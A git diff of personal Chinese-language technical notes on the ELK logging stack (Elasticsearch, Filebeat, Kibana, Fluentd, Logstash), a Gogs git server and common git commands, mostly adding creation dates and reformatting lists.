"reason" : "[parent] Data too large, data for [] would be [4080692272/3.8gb], which is larger than the limit of [4080218931/3.7gb], real usage: [4080692272/3.8gb], new bytes reserved: [0/0b], usages [request=0/0b, fielddata=0/0b, in_flight_requests=0/0b, accounting=82023656/78.2mb]", - "bytes_wanted" : 4080692272, - "bytes_limit" : 4080218931, - "durability" : "PERMANENT" - }, - "status" : 429 - } - ``` - - 原因 jvm 堆内存不够加载当前查询到的数据 data too large, 请求被熔断,indices.breaker.request.limit 默认为 jvm heap 的 60%。 - - https://www.elastic.co/guide/en/elasticsearch/reference/7.6/circuit-breaker.html - - 解决方案一 编辑 elasticsearch jvm.option配置,将-Xms和-Xmx 调大,初始值都是1G。修改配置后,重启ES。 - - 解决方案二 清空缓存(临时性解决) - ```bash - curl -XPOST -u admin:Admin@123 'http://${IP}:${PORT}/elasticsearch/_cache/clear?fielddata=true' - ``` \ No newline at end of file + - 报错 + ```log + curl http://${IP}:${PORT}/_cat/shards/?pretty + { + "error" : { + "root_cause" : [ + { + "type" : "circuit_breaking_exception", + "reason" : "[parent] Data too large, data for [] would be [4080692272/3.8gb], which is larger than the limit of [4080218931/3.7gb], real usage: [4080692272/3.8gb], new bytes reserved: [0/0b], usages [request=0/0b, fielddata=0/0b, in_flight_requests=0/0b, accounting=82023656/78.2mb]", + "bytes_wanted" : 4080692272, + "bytes_limit" : 4080218931, + "durability" : "PERMANENT" + } + ], + "type" : "circuit_breaking_exception", + "reason" : "[parent] Data too large, data for [] would be [4080692272/3.8gb], which is larger than the limit of [4080218931/3.7gb], real usage: [4080692272/3.8gb], new bytes reserved: [0/0b], usages [request=0/0b, fielddata=0/0b, in_flight_requests=0/0b, accounting=82023656/78.2mb]", + "bytes_wanted" : 4080692272, + "bytes_limit" : 4080218931, + "durability" : "PERMANENT" + }, + "status" : 429 + } + ``` + - 原因 jvm 堆内存不够加载当前查询到的数据 data too large, 请求被熔断,indices.breaker.request.limit 默认为 jvm heap 的 60%。 + - https://www.elastic.co/guide/en/elasticsearch/reference/7.6/circuit-breaker.html + - 解决方案一 编辑 elasticsearch jvm.option配置,将-Xms和-Xmx 调大,初始值都是1G。修改配置后,重启ES。 + - 解决方案二 清空缓存(临时性解决) + ```bash + curl -XPOST -u admin:Admin@123 'http://${IP}:${PORT}/elasticsearch/_cache/clear?fielddata=true' + ``` diff --git a/software/ELK/filebeat.md b/software/ELK/filebeat.md index b7565b5..6dac8eb 100644 --- a/software/ELK/filebeat.md +++ b/software/ELK/filebeat.md @@ -1,40 +1,56 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # Filebeat + 参考文档 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-reference-yml.html - https://www.cnblogs.com/cjsblog/p/9495024.html - https://segmentfault.com/a/1190000019714761 博客剖析 - https://www.elastic.co/guide/en/beats/filebeat/6.4/filebeat-module-nginx.html 模块 ## 概念 + - 语言:Golang - 基于libbeat库进行开发而成。 -1. 日志收集,主要由两个组件组成:inputs 和 harvesters - - version 7.x - 1. 一个 harvester 负责读取一个文件的内容。每个文件启动一个 harvester 。 - 2. 一个 input 找到所有要读取的源,负责管理 harvesters。 每个input都在自己的Go协程中运行。 +1. 日志收集,主要由两个组件组成:inputs 和 harvesters + - version 7.x + + 1. 一个 harvester 负责读取一个文件的内容。每个文件启动一个 harvester 。 + 2. 一个 input 找到所有要读取的源,负责管理 harvesters。 每个input都在自己的Go协程中运行。 2. 工作流程 - - 不同的harvester goroutine采集到的日志数据都会发送至一个全局的队列queue中,queue的实现有两种:基于内存和基于磁盘的队列,目前基于磁盘的队列还是处于alpha阶段,filebeat默认启用的是基于内存的缓存队列。 - - 每当队列中的数据缓存到一定的大小或者超过了定时的时间(默认1s),会被注册的client从队列中消费,发送至配置的后端。目前可以设置的client有kafka、elasticsearch、redis等。 - + + - 不同的harvester goroutine采集到的日志数据都会发送至一个全局的队列queue中,queue的实现有两种:基于内存和基于磁盘的队列,目前基于磁盘的队列还是处于alpha阶段,filebeat默认启用的是基于内存的缓存队列。 + - 每当队列中的数据缓存到一定的大小或者超过了定时的时间(默认1s),会被注册的client从队列中消费,发送至配置的后端。目前可以设置的client有kafka、elasticsearch、redis等。 + 3. 组成结构 - - input: 找到配置的日志文件,启动harvester - - harvester: 读取文件,发送至spooler - - spooler: 缓存日志数据,直到可以发送至publisher - - publisher: 发送日志至后端,同时通知registrar - - registrar: 记录日志文件被采集的状态 + + - input: 找到配置的日志文件,启动harvester + - harvester: 读取文件,发送至spooler + - spooler: 缓存日志数据,直到可以发送至publisher + - publisher: 发送日志至后端,同时通知registrar + - registrar: 记录日志文件被采集的状态 4. 内部机制 - 1. 保存文件状态在注册表文件registry中 - 2. 至少投递一次 + + 1. 保存文件状态在注册表文件registry中 + 2. 至少投递一次 ## 注意 + 1. 如果使用容器部署filebeat,需要将registry文件挂载到宿主机上,否则容器重启后registry文件丢失,会使filebeat从头开始重复采集日志文件。 ## 安装 + 1. 通过yum安装 + ```bash # 参考 https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html rpm --import https://packages.elastic.co/GPG-KEY-elasticsearch @@ -52,8 +68,11 @@ systemctl enable filebeat ``` ## 配置 + - 版本 7.X + ### input 从日志文件读取数据 + ```yaml filebeat.config: # 全局配置 inputs: # 包含额外的input文件列表 @@ -107,7 +126,8 @@ filebeat.inputs: ``` 2. version 6.1 https://www.elastic.co/guide/en/beats/filebeat/6.1/configuration-filebeat-options.html -filebeat.yml + filebeat.yml + ```yaml filebeat.config: prospectors: @@ -115,9 +135,10 @@ filebeat.config: ``` +### output 数据输出 -### output 数据输出 1. 配置示范 输出到logstash + ```yaml output.logstash: hosts: ["127.0.0.1:5044"] @@ -127,6 +148,7 @@ filebeat.config: ``` 2. 配置示范 输出到elasticsearch + ```yaml # 解析json格式日志 processors: @@ -170,6 +192,7 @@ output.elasticsearch: ``` ### others + ```conf # Filebeat自身日志配置 logging.level: debug @@ -183,6 +206,7 @@ logging.files: ``` ### 标准输入标准输出 + ```yaml filebeat.inputs: - type: stdin @@ -192,25 +216,32 @@ output.console: pretty: true enable: true ``` + ### 模块 + 1. es + ```bash # 这两个插件用来捕获地理位置和浏览器信息,以供可视化组件所用 sudo bin/elasticsearch-plugin install ingest-geoip sudo bin/elasticsearch-plugin install ingest-user-agent ``` + 重启Elasticsearc 2. 设置初始环境 + ```bash # Setup index template, dashboards and ML jobs ./filebeat setup -e ``` 3. 开启nginx模块 + ```bash ./filebeat modules enable nginx ``` + ```yaml filebeat.config.modules: path: ${path.config}/modules.d/*.yml # 需要加载的模块配置文件的位置 @@ -229,13 +260,15 @@ filebeat.config.modules: ``` ## 模块 -- Elasticsearch Pipeline + - 参考 - - https://blog.csdn.net/xujiamin0022016/article/details/86306571 -- 在ES 5.x之后的版本中,ES增量了Ingest node功能(对数据进行预处理) + - https://blog.csdn.net/xujiamin0022016/article/details/86306571 +- 在ES 5.x之后的版本中,ES增量了Ingest node功能(对数据进行预处理) ## 指令 + ```bash # 指定家目录 --path.home ./ @@ -257,10 +290,12 @@ filebeat test config filebeat.yml ``` ## 调优 + 正常启动filebeat,一般确实只会占用3、40MB内存。 - filebeat内存 + 1. 运行的容器个数较多,导致创建大量的harvester去采集日志。 2. 内存占据较大部分的是memqueue,所有采集到的日志都会先发送至memqueue聚集,再通过output发送出去。每条日志的数据在filebeat中都被组装为event结构,filebeat默认配置的memqueue缓存的event个数为4096,可通过queue.mem.events设置。 -默认最大的一条日志的event大小限制为10MB,可通过max_bytes设置。 -4096 * 10MB = 40GB 。极端场景下,filebeat至少占据40GB的内存。特别是配置了multiline多行模式的情况下,如果multiline配置有误,单个event误采集为上千条日志的数据,很可能导致memqueue占据了大量内存,致使内存爆炸。 \ No newline at end of file + 默认最大的一条日志的event大小限制为10MB,可通过max_bytes设置。 + 4096 * 10MB = 40GB 。极端场景下,filebeat至少占据40GB的内存。特别是配置了multiline多行模式的情况下,如果multiline配置有误,单个event误采集为上千条日志的数据,很可能导致memqueue占据了大量内存,致使内存爆炸。 diff --git a/software/ELK/kibana.md b/software/ELK/kibana.md index 0b9a422..7456d52 100644 --- a/software/ELK/kibana.md +++ b/software/ELK/kibana.md @@ -1,16 +1,27 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## 概览 + - 文档 - - https://www.elastic.co/guide/cn/kibana/current/index.html 官网中文文档-用户手册 - - https://www.elastic.co/cn/webinars/getting-started-kibana?baymax=default&elektra=docs&storm=top-video 官网学习视频 + - https://www.elastic.co/guide/cn/kibana/current/index.html 官网中文文档-用户手册 + - https://www.elastic.co/cn/webinars/getting-started-kibana?baymax=default&elektra=docs&storm=top-video 官网学习视频 ## 安装 + - 参考 - - https://www.elastic.co/cn/downloads/past-releases + + - https://www.elastic.co/cn/downloads/past-releases - 需要和elasticsearch版本对应 ### 裸安装 + - 安装 + ```bash # 1. wget https://artifacts.elastic.co/downloads/kibana/kibana-7.9.3-linux-x86_64.tar.gz @@ -22,25 +33,32 @@ nohup ./bin/kibana > kibana.log 2>&1 & ``` - 健康状态查看 + ```bash curl 127.0.0.1:5601/api/status # 127.0.0.1:5601/status # http://erpkibana.abcrender.com/api/ui_metric/report (POST请求) ``` + ### 配置 + ```conf server.host: "0.0.0.0" # 默认为localhost elasticsearch.hosts: ["http://localhost:9200"] # 默认为localhost ``` + ## 告警插件 + - 参考 - - https://github.com/opendistro-for-elasticsearch/alerting - - https://opendistro.github.io/for-elasticsearch-docs/docs/alerting/ + + - https://github.com/opendistro-for-elasticsearch/alerting + - https://opendistro.github.io/for-elasticsearch-docs/docs/alerting/ - Alerting - - 一款开源的kibana告警插件 - - 官方的kibana告警插件是收费的 + + - 一款开源的kibana告警插件 + - 官方的kibana告警插件是收费的 ```Dockerfile FROM docker.elastic.co/kibana/kibana:7.6.1 @@ -49,44 +67,55 @@ RUN /opt/kibana/bin/kibana-plugin install https://github.com/opendistro-for-elas ``` ## 使用 + ### 查询语法 + - 可以实现三种搜索 - 1. DSL 搜索 - 2. KQL 搜索 - 3. Lucene 搜索 - - 在这三种搜索方法中,DSL 以及 Lucene 搜索可以支持模糊查询 (fuzziness) 以及 通配符查询 (Regex)。KQL 是 Search Bar 的默认搜索方式,但是它不支持模糊查询。 + 1. DSL 搜索 + 2. KQL 搜索 + 3. Lucene 搜索 + - 在这三种搜索方法中,DSL 以及 Lucene 搜索可以支持模糊查询 (fuzziness) 以及 通配符查询 (Regex)。KQL 是 Search Bar 的默认搜索方式,但是它不支持模糊查询。 #### KQL + 1. 按字段搜索 - - 字段: 值 AND 字段: 值 - - source: \/data\/logs\/project-a\/* AND message: user.login.ERROR + + - 字段: 值 AND 字段: 值 + - source: /data/logs/project-a/\* AND message: user.login.ERROR 2. 字段本身是否存在 - - 返回结果中需要有http字段 - - _exists_:http - - 不能含有http字段 - - _missing_:http + + - 返回结果中需要有http字段 + - _exists_:http + - 不能含有http字段 + - _missing_:http 3. 分组查询 - - (message: user.login.ERROR OR apache) AND source: \/data\/logs\/project-a\/* + + - (message: user.login.ERROR OR apache) AND source: /data/logs/project-a/\* 4. 按数值搜索 - - nginx.access.request_time:>3 + + - nginx.access.request_time:>3 ### Dev Tool + ``` GET _settings ``` ## 常见错误 + 1. 1 + ```log {"statusCode":413,"error":"Request Entity Too Large","message":"Payload content length greater than maximum allowed: 1048576"} ``` + 更改kibana配置 config/kibana.yml server.maxPayloadBytes: 10485760 2. kibana中已存在的字段在avaliable中类型显示问号,无法在visualize中使用 - 1. 找到 Kibana 的 Index_patterns(索引模式) - 2. 找到 索引名称 - 3. 刷新字段列表 \ No newline at end of file + 1. 找到 Kibana 的 Index_patterns(索引模式) + 2. 找到 索引名称 + 3. 刷新字段列表 diff --git a/software/ELK/ruby&fluend&logstash.md b/software/ELK/ruby&fluend&logstash.md index 4a86e40..8440b08 100644 --- a/software/ELK/ruby&fluend&logstash.md +++ b/software/ELK/ruby&fluend&logstash.md @@ -1,14 +1,22 @@ +--- +created_date: 2020-11-24 +--- + [TOC] + ## 安装ruby + - 参考 ruby.md ## fluentd + - 文档 -https://github.com/fluent/fluentd -https://docs.fluentd.org/filter/record_transformer 添加新标签 + https://github.com/fluent/fluentd + https://docs.fluentd.org/filter/record_transformer 添加新标签 1. 安装启动 -```bash + +```bash gem install fluentd fluentd -s conf # 生成标准配置 fluentd -c conf/fluent.conf # 启动 @@ -16,12 +24,17 @@ fluentd -c conf/fluent.conf # 启动 # 将日志输出到上 echo '{"hello":"world"}' | fluent-cat fluent-cat debug.test ``` + ### fluentd插件 + 1. logstash-output-fluentd 用于将数据从Fluentd输出到Logstash 2. cloudwatch_logs 用于从aws的cloudwatch拉取或者发送日志 + ### fluentd配置 + 1. 安装插件 gem install cloudwatch_logs -2. 配置 +2. 配置 + ```conf @type forward @@ -58,34 +71,37 @@ echo '{"hello":"world"}' | fluent-cat fluent-cat debug.test @type stdout # 使用内置的stdout插件 ``` + 3. 模块介绍 -source 指令确定输入源。 -match 指令确定输出目的地。 -filter 指令确定事件处理管道。 -system 指令设置系统级配置。 -label 指令将output和filter分组以进行内部路由。 -@include 指令用于包括其它文件。 + source 指令确定输入源。 + match 指令确定输出目的地。 + filter 指令确定事件处理管道。 + system 指令设置系统级配置。 + label 指令将output和filter分组以进行内部路由。 + @include 指令用于包括其它文件。 4. 四个默认参数介绍 -@type:用于指定插件类型; -@id:指定插件 id,在输出日志的时候有用; -@label:指定分组标签,可以对日志流做批处理; -@log_level:为每一组命令设定日志级别。 + @type:用于指定插件类型; + @id:指定插件 id,在输出日志的时候有用; + @label:指定分组标签,可以对日志流做批处理; + @log_level:为每一组命令设定日志级别。 ## logstash + - 文档 -https://github.com/elastic/logstash/tags 源码 -https://www.elastic.co/cn/downloads/logstash 安装包下载 -https://www.yisu.com/zixun/9201.html + https://github.com/elastic/logstash/tags 源码 + https://www.elastic.co/cn/downloads/logstash 安装包下载 + https://www.yisu.com/zixun/9201.html - 性能 -启动比fluentd慢很多 + 启动比fluentd慢很多 -1. 裸安装 -安装java8环境 -wget https://artifacts.elastic.co/downloads/logstash/logstash-7.6.0.tar.gz -根据提示安装依赖 rvm install "jruby-9.1.12.0" -安装自己需要的插件 +1. 裸安装 + 安装java8环境 + wget https://artifacts.elastic.co/downloads/logstash/logstash-7.6.0.tar.gz + 根据提示安装依赖 rvm install "jruby-9.1.12.0" + 安装自己需要的插件 2. 容器方式安装 + ```Dockerfile From logstash:7.6.0 USER root @@ -94,6 +110,7 @@ RUN wget https://github.com/lukewaite/logstash-input-cloudwatch-logs/releases/do RUN logstash-plugin install logstash-input-cloudwatch_logs-1.0.3.gem # docker build -t logstash-cloudwatch:7.6.0 -f Dockerfile . ``` + ```yaml version: '3' services: @@ -108,29 +125,32 @@ services: ``` 2. 启动 -bin/logstash -e 'input { stdin { } } output { stdout {} }' -或者 -bin/logstash -f config/cloudwatch.conf ---config.reload.automatic + bin/logstash -e 'input { stdin { } } output { stdout {} }' + 或者 + bin/logstash -f config/cloudwatch.conf + --config.reload.automatic + - 默认监听9600端口等待数据输入 - 3. 插件安装 -logstash-plugin install 插件名 -或者 -./bin/logstash-plugin install xxxx.gem ---config.reload.automatic + logstash-plugin install 插件名 + 或者 + ./bin/logstash-plugin install xxxx.gem + --config.reload.automatic ./bin/logstash-plugin list 4. 数据流 -input | decode | filter | encode | output + input | decode | filter | encode | output + ### logstash配置 + 1. 安装cloudwatch_logs插件 -wget https://github.com/lukewaite/logstash-input-cloudwatch-logs/releases/download/v1.0.3/logstash-input-cloudwatch_logs-1.0.3.gem -logstash-plugin install logstash-input-cloudwatch_logs-1.0.3.gem + wget https://github.com/lukewaite/logstash-input-cloudwatch-logs/releases/download/v1.0.3/logstash-input-cloudwatch_logs-1.0.3.gem + logstash-plugin install logstash-input-cloudwatch_logs-1.0.3.gem 2. 配置 -vim + vim + ```conf input { cloudwatch_logs { @@ -223,7 +243,9 @@ output { } } ``` + nohup bin/logstash -f config/cloudwatch.conf 2>&1 & + ```ruby # 读取文件的日志 input { @@ -281,32 +303,39 @@ input { } ``` - ### 插件 + #### 一 gork 分割文本插件 -- + +- + https://grokdebug.herokuapp.com/ 在线测试工具 https://www.elastic.co/guide/en/logstash/current/plugins-filters-grok.html grok正则 https://www.elastic.co/cn/blog/do-you-grok-grok 正则表达式库是Oniguruma 1. 内置表达式 - - %{SYNTAX:SEMANTIC} + +- %{SYNTAX:SEMANTIC} SYNTAX:代表匹配值的类型 SEMANTIC:代表存储该值的一个变量名称 - - 例如:127.0.0.1 GET /index.html 15824 0.043 - ```conf - filter { - grok { - match => { "message" => "%{IP:client} %{WORD:method} %{URIPATHPARAM:request} %{NUMBER:bytes} %{NUMBER:duration}" } - } +- 例如:127.0.0.1 GET /index.html 15824 0.043 + +```conf +filter { + grok { + match => { "message" => "%{IP:client} %{WORD:method} %{URIPATHPARAM:request} %{NUMBER:bytes} %{NUMBER:duration}" } } - ``` +} +``` + 2. 创建内置表达式 -vim my-patterns + vim my-patterns + ```ruby MYPATTERNS [0-9A-F]{10,11} -``` +``` + ``` filter { grok { @@ -315,42 +344,52 @@ filter { } } ``` + 3. 通过正则创建自定义表达式 + ```regexp (?the pattern here).*(?the pattern here) ``` 3. 表达式的匹配 - 1. 不匹配则生成 _grokparsefailure 标签 - 2. 使用条件来避免不匹配的信息进入gork - if [message] !=~ /^2020/ { - grok {} - } +4. 不匹配则生成 \_grokparsefailure 标签 +5. 使用条件来避免不匹配的信息进入gork + if [message] !=~ /^2020/ { + grok {} + } + ##### 实践 + 1. 非结构化 + ```log "I1030 02:25:35.264412 1 garbagecollector.go:405] processing item [v1/Pod, namespace: default, name: writebackdbopt5-1604024640-67fz5, uid: 0342ed95-1a57-11eb-ba7b-0a89dd6aa8e1]" ``` + ```ruby (?(?<=/)([a-zA-Z]*)).*(?(?<=namespace:[\s*])([a-zA-Z0-9\-]*)).*(?(?<=name:[\s*])([a-zA-Z0-9\-]*)).*(?(?<=uid:[\s*])([a-zA-Z0-9\-]*)) ``` 2. 字符串与json混合 + ```log I1029 09:50:10.047661 1 event.go:209] Event(v1.ObjectReference{Kind:"CronJob", Namespace:"gary", Name:"gary-shipping-label-webhooknotify1100222", UID:"0985f4c3-1059-11eb-87c3-0af382b4a717", APIVersion:"batch/v1beta1", ResourceVersion:"744672123", FieldPath:""}): type: 'Normal' reason: 'SuccessfulDelete' Deleted job gary-shipping-label-webhooknotify1100222-1603964880 ``` + ```ruby (?(?<=Kind:\")([a-zA-Z]*)).*(?(?<=Namespace:\")([a-zA-Z0-9\-]*)).*(?(?<=Name:\")([a-zA-Z0-9\-]*)).*(?(?<=UID:\")([a-zA-Z0-9\-]*))[\",\s].*(?(?<=type:\s\')([a-zA-Z0-9\-]*)).*(?(?<=reason:\s\')([a-zA-Z0-9\-]*)).*(?(?<=\'\s)(.*)) ``` + ### 二 GeoIP ## 创建IAM-拥有CloudWatch Logs相关权限 -1. 创建策略kujiu-log-strategy - - CloudWatch Logs服务 - 1. log-stream资源 - 2. DescribeLogGroups、DescribeLogStreams、FilterLogEvents、GetLogEvents 操作权限。 + +1. 创建策略kujiu-log-strategy + - CloudWatch Logs服务 + 1. log-stream资源 + 2. DescribeLogGroups、DescribeLogStreams、FilterLogEvents、GetLogEvents 操作权限。 2. 创建组kujiu-log-group -- 包含策略kujiu-log-strategy 3. 创建用户 -- 属于组kujiu-log-group -4. 获取用户的key和密钥 \ No newline at end of file +4. 获取用户的key和密钥 diff --git a/software/Git/git-service.md b/software/Git/git-service.md index 6c3d376..7cc7a4b 100644 --- a/software/Git/git-service.md +++ b/software/Git/git-service.md @@ -1,10 +1,16 @@ +--- +created_date: 2022-08-18 +--- + [TOC] ## 相关链接 + - Github https://github.com/gogs/gogs - 安装教程 https://gogs.io/docs/installation ## 安装Git服务Gogs + ```bash # 安装Postgresql数据库,下载二进制包 ./gogs web --port 3000 # 默认端口为3000 @@ -19,17 +25,19 @@ DISABLE_REGISTRATION = true # 禁止用户自己注册账户 ``` ### 报错 + 1. 报错一 - ```log - error: RPC failed; HTTP 413 curl 22 The requested URL returned error: 413 - send-pack: unexpected disconnect while reading sideband packet - fatal: the remote end hung up unexpectedly - ``` - - nginx反向代理client_max_body_size配置导致的 http://nginx.or - - g/en/docs/http/ngx_http_core_module.html#client_max_body_size + ```log + error: RPC failed; HTTP 413 curl 22 The requested URL returned error: 413 + send-pack: unexpected disconnect while reading sideband packet + fatal: the remote end hung up unexpectedly + ``` + - nginx反向代理client_max_body_size配置导致的 http://nginx.or + - g/en/docs/http/ngx_http_core_module.html#client_max_body_size ## 同步仓库 -```bash + +```bash git clone --bare 源git仓库地址 cd project.git/ git push --mirror 目标git仓库地址 @@ -42,6 +50,7 @@ git push --mirror ssh://git@gogs.garys.top:2222/AleoHQ/snarkOS.git # 通过ssh ``` ## 同步仓库(未使用) + ```bash # 同步仓库 @@ -58,4 +67,4 @@ repo_target_url=http://gogs.garys.top/AleoHQ/snarkVM git push -f --prune --all ${repo_target_url} # 同步tag git tag --sort==-createordate | head -n2000 | git push -f ${repo_target_url} -``` \ No newline at end of file +``` diff --git a/software/Git/git.md b/software/Git/git.md index ac3ddcb..27ba43e 100644 --- a/software/Git/git.md +++ b/software/Git/git.md @@ -1,93 +1,114 @@ +--- +created_date: 2020-11-17 +--- + [TOC] ## Git基本知识 + 1. Git中每个文件都有三种状态 - 1. untracked(未执行add/工作区) ---> - 2. modified(未执行add/工作区) ---> staged(未执行commit/缓冲区) ---> committed(本地仓库) + 1. untracked(未执行add/工作区) ---> + 2. modified(未执行add/工作区) ---> staged(未执行commit/缓冲区) ---> committed(本地仓库) ### 初始化 -1. 拉取分支操作 - ```bash - git clone -b ${branch} http://git.github.com/project.git - git clone git@github.com/project.git - ``` + +1. 拉取分支操作 + + ```bash + git clone -b ${branch} http://git.github.com/project.git + git clone git@github.com/project.git + ``` + 2. 配置 - ``` - git config --list查看已经配置的git参数。 - 有三个级别的保存配置位置,默认使用 --local - --system 表示所有用户(本系统)Git安装目录\etc\gitconfig - --global 表示当前用户(全局)用户目录/.gitconfig - --local 表示本地配置(当前目录) .git/config - ``` -3. 在使用Git提交前,必须配置用户名和邮箱,这些信息会永久保存到历史记录中。 - ``` - git config --global user.name "gary" - git config --global user.email username@163.com - ``` -4. 显示某个源的具体信息 ``git remote show origin `` + ``` + git config --list查看已经配置的git参数。 + 有三个级别的保存配置位置,默认使用 --local + --system 表示所有用户(本系统)Git安装目录\etc\gitconfig + --global 表示当前用户(全局)用户目录/.gitconfig + --local 表示本地配置(当前目录) .git/config + ``` + +3. 在使用Git提交前,必须配置用户名和邮箱,这些信息会永久保存到历史记录中。 + + ``` + git config --global user.name "gary" + git config --global user.email username@163.com + ``` + +4. 显示某个源的具体信息 `git remote show origin ` 5. 源 - 1. origin 为默认源 - 2. 显示所有的源 `` git remote -v `` - 3. 添加源:git remote add origin http://git.github.com/username/project.git - 4. 删除源: git remote rm 源名 - 5. 给源添加一个push地址:git remote set-url --add origin http://git.github.com/username/project.git -6. push并且设置此分支默认的远程源和分支 ``git push --set-upstream origin main`` + 1. origin 为默认源 + 2. 显示所有的源 `git remote -v` + 3. 添加源:git remote add origin http://git.github.com/username/project.git + 4. 删除源: git remote rm 源名 + 5. 给源添加一个push地址:git remote set-url --add origin http://git.github.com/username/project.git + +6. push并且设置此分支默认的远程源和分支 `git push --set-upstream origin main` 7. 拉取远程分支 - ```bash - git fetch --all - git pull origin master - ``` + + ```bash + git fetch --all + git pull origin master + ``` 8. Git代理 - - 设置全局代理 - git config http.proxy http://XXX.XXX.XXX.XXX:2334 - - git config --global http.proxy 'socks5://XXX.XXX.XXX.XXX:1080' - git config --global https.proxy 'socks5://XXX.XXX.XXX.XXX:1080' - - 取消代理 - git config --global --unset http.proxy - git config --global --unset https.proxy - - - 对某个域名进行代理 - git config --global http.https://github.com.proxy socks5://XXX.XXX.XXX.XXX:1080 - git config --global https.https://github.com.proxy socks5://XXX.XXX.XXX.XXX:1080 - - - 写入配置文件里 ~/.gitconfig - ```conf - [http] - proxy = socks5://XXX.XXX.XXX.XXX:1080 - [https] - proxy = socks5://XXX.XXX.XXX.XXX:1080 - ``` - ```conf - [http "https://github.com/"] - proxy = socks5://XXX.XXX.XXX.XXX:1080 - [https "https://github.com/"] - proxy = socks5://XXX.XXX.XXX.XXX:1080 - ``` + + - 设置全局代理 + git config http.proxy http://XXX.XXX.XXX.XXX:2334 + + git config --global http.proxy 'socks5://XXX.XXX.XXX.XXX:1080'\ + git config --global https.proxy 'socks5://XXX.XXX.XXX.XXX:1080' + + - 取消代理 + git config --global --unset http.proxy + git config --global --unset https.proxy + + - 对某个域名进行代理 + git config --global http.https://github.com.proxy socks5://XXX.XXX.XXX.XXX:1080\ + git config --global https.https://github.com.proxy socks5://XXX.XXX.XXX.XXX:1080 + + - 写入配置文件里 ~/.gitconfig + + ```conf + [http] + proxy = socks5://XXX.XXX.XXX.XXX:1080 + [https] + proxy = socks5://XXX.XXX.XXX.XXX:1080 + ``` + + ```conf + [http "https://github.com/"] + proxy = socks5://XXX.XXX.XXX.XXX:1080 + [https "https://github.com/"] + proxy = socks5://XXX.XXX.XXX.XXX:1080 + ``` + 9. git pull 策略 - ```bash - git config --global pull.rebase false # merge (the default strategy) - git config --global pull.rebase true # rebase - git config --global pull.ff only # fast-forward only - ``` + + ```bash + git config --global pull.rebase false # merge (the default strategy) + git config --global pull.rebase true # rebase + git config --global pull.ff only # fast-forward only + ``` ### 日常操作 -1. diff - - git diff origin/xxx +01. diff + + - git diff origin/xxx - git diff hash1 hash2 比较两次commit的后的区别,使用git log获取commit的hash - - git diff 文件路径 origin/xxx - 1. 默认 untracked工作区 和 modified工作区和缓冲区 比较 - 2. --cached 缓存区 和 本地仓库 比较 - 3. --HEAD 工作目录 和 本地仓库 比较 - 4. --stat 只显示有差异的文件名和行数 + - git diff 文件路径 origin/xxx + 1. 默认 untracked工作区 和 modified工作区和缓冲区 比较 + 2. --cached 缓存区 和 本地仓库 比较 + 3. --HEAD 工作目录 和 本地仓库 比较 + 4. --stat 只显示有差异的文件名和行数 + +02. log -2. log - git log 输出日志信息 ```bash # -p 用来显示每次提交的内容差异。 @@ -107,63 +128,77 @@ - --since=2.years - --since=2.days -3. 合并 - 1. 将另一个分支的commit合并到此分支上 ``git cherry-pick 某次commit的id号`` - 2. 默认 fast-forward ,HEAD 指针直接指向被合并的分支 ``git merge 分支名`` - 3. 禁止快进式合并 ``git merge --no-ff 分支名`` - 4. 将所有的commit整合为一个新的commit提交到主分支上 ``git merge --squash 分支名`` +03. 合并 + + 1. 将另一个分支的commit合并到此分支上 `git cherry-pick 某次commit的id号` + 2. 默认 fast-forward ,HEAD 指针直接指向被合并的分支 `git merge 分支名` + 3. 禁止快进式合并 `git merge --no-ff 分支名` + 4. 将所有的commit整合为一个新的commit提交到主分支上 `git merge --squash 分支名` -4. 删除本地分支 - 1. 删除本地分支 ``git branch -D 分支名`` - 2. 如果远程跟踪分支不存在,但本地存在,则删除本地的 `git fetch -p` +04. 删除本地分支 + +05. 删除本地分支 `git branch -D 分支名` + +06. 如果远程跟踪分支不存在,但本地存在,则删除本地的 `git fetch -p` + +07. 删除远程的分支 -5. 删除远程的分支 ```bash git push origin:分支名 (没有删除跟踪) git push origin --delete 分支名 (删除了跟踪) ``` -6. 查看此文件内容修改的详细操作信息 ``git blame fileName `` -7. 创建新的远程分支并push上去 ``git push origin 本地分支名:远程分支名 `` +08. 查看此文件内容修改的详细操作信息 `git blame fileName ` + +09. 创建新的远程分支并push上去 `git push origin 本地分支名:远程分支名 ` + +10. 入栈出栈操作 -8. 入栈出栈操作 ``` git stash git stash pop git stash list ``` -9. 打标签tag - 1. 打轻量标签 ``git tag v1.0.0 `` - 2. 打附注标签 ``git tag -a v1.4 -m "my version 1.4"`` - 3. 推所有的tag上远程仓库 git push --tags - 4. 推单个tag上远程仓库 git push origin v1.0.0 +11. 打标签tag + + 1. 打轻量标签 `git tag v1.0.0 ` + 2. 打附注标签 `git tag -a v1.4 -m "my version 1.4"` + 3. 推所有的tag上远程仓库 git push --tags + 4. 推单个tag上远程仓库 git push origin v1.0.0 5. 删除本地 git tag -d v1.0.0 6. 删除远程 git push --delete origin:refs/tags/v1.0.0 -10. 重置reset - - 未被跟踪的文件不会受到影响 +12. 重置reset + + - 未被跟踪的文件不会受到影响 + 1. --hard 重置到上一次commit状态 - 2. --mix 重置到上一次工作区状态 ``git reset head~ --mix`` - 3. --soft 重置到上一次缓冲区状态 - 4. head~ 指定上一次commit状态 - - 重置回工作区状态 `` git reset --mix origin/master `` - - 重置回上一次commit状态 `` git checkout . `` - -11. 清除未被跟踪的文件clean - 1. `` git clean -nfd `` `` git clean -fd`` - 2. -f 删除 untracked files - 3. -d 连 untracked 的目录也一起删掉 - 4. -n 查看会删掉哪些文件,并不会执行删除操作 - -12. 重写历史,删除铭感文件 -- 使用 git内置的 filter-branch (速度较慢) + 2. --mix 重置到上一次工作区状态 `git reset head~ --mix` + 3. --soft 重置到上一次缓冲区状态 + 4. head~ 指定上一次commit状态 + + - 重置回工作区状态 `git reset --mix origin/master ` + - 重置回上一次commit状态 `git checkout .` + +13. 清除未被跟踪的文件clean + + 1. `git clean -nfd` ` git clean -fd` + 2. -f 删除 untracked files + 3. -d 连 untracked 的目录也一起删掉 + 4. -n 查看会删掉哪些文件,并不会执行删除操作 + +14. 重写历史,删除铭感文件 -- 使用 git内置的 filter-branch (速度较慢) + - 参考 https://blog.csdn.net/chenlijian/article/details/118719672 - 1. 删除指定文件或目录,提交 `` git filter-branch --tree-filter 'rm -rf src/Info' head `` - 1. --all 标志以处理所有分支和标签 - 2. head 指定从当前分支的最新一次提交开始遍历 